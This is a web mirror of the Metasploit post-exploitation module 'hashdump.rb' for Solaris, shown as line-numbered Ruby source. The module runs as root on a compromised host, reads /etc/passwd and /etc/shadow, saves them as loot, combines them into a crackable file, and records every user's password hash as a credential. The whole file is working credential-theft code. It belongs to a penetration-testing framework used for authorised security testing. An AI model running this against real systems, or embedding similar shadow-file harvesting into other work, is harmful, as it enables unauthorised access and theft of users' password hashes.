Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/solaris/gather/hashdump.rb
22083 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Solaris::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',
15
'Description' => %q{
16
Post module to dump the password hashes for all users on a Solaris system.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
20
'Platform' => [ 'solaris' ],
21
'SessionTypes' => [ 'shell' ],
22
'Notes' => {
23
'Stability' => [CRASH_SAFE],
24
'SideEffects' => [],
25
'Reliability' => []
26
},
27
'References' => [
28
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
29
]
30
)
31
)
32
end
33
34
def run
35
fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?
36
37
passwd_file = read_file('/etc/passwd')
38
shadow_file = read_file('/etc/shadow')
39
40
# Save in loot the passwd and shadow file
41
p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')
42
p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')
43
vprint_good("Shadow saved in: #{p1}")
44
vprint_good("passwd saved in: #{p2}")
45
46
# Unshadow the files
47
john_file = unshadow(passwd_file, shadow_file)
48
john_file.each_line do |l|
49
hash_parts = l.split(':')
50
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
51
if jtr_format.empty? # overide the default
52
jtr_format = 'des,bsdi,crypt'
53
end
54
credential_data = {
55
jtr_format: jtr_format,
56
origin_type: :session,
57
post_reference_name: refname,
58
private_type: :nonreplayable_hash,
59
private_data: hash_parts[1],
60
session_id: session_db_id,
61
username: hash_parts[0],
62
workspace_id: myworkspace_id
63
}
64
create_credential(credential_data)
65
print_good(l.chomp)
66
end
67
68
# Save pwd file
69
upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')
70
print_good("Unshadowed Password File: #{upassf}")
71
end
72
73
def unshadow(pf, sf)
74
unshadowed = ''
75
sf.each_line do |sl|
76
pass = sl.scan(/^\w*:([^:]*)/).join
77
next unless pass !~ /^\*LK\*|^NP/
78
79
user = sl.scan(/(^\w*):/).join
80
pf.each_line do |pl|
81
if pl.match(/^#{user}:/)
82
unshadowed << pl.gsub(/:x:/, ":#{pass}:")
83
end
84
end
85
end
86
87
return unshadowed
88
end
89
end
90
91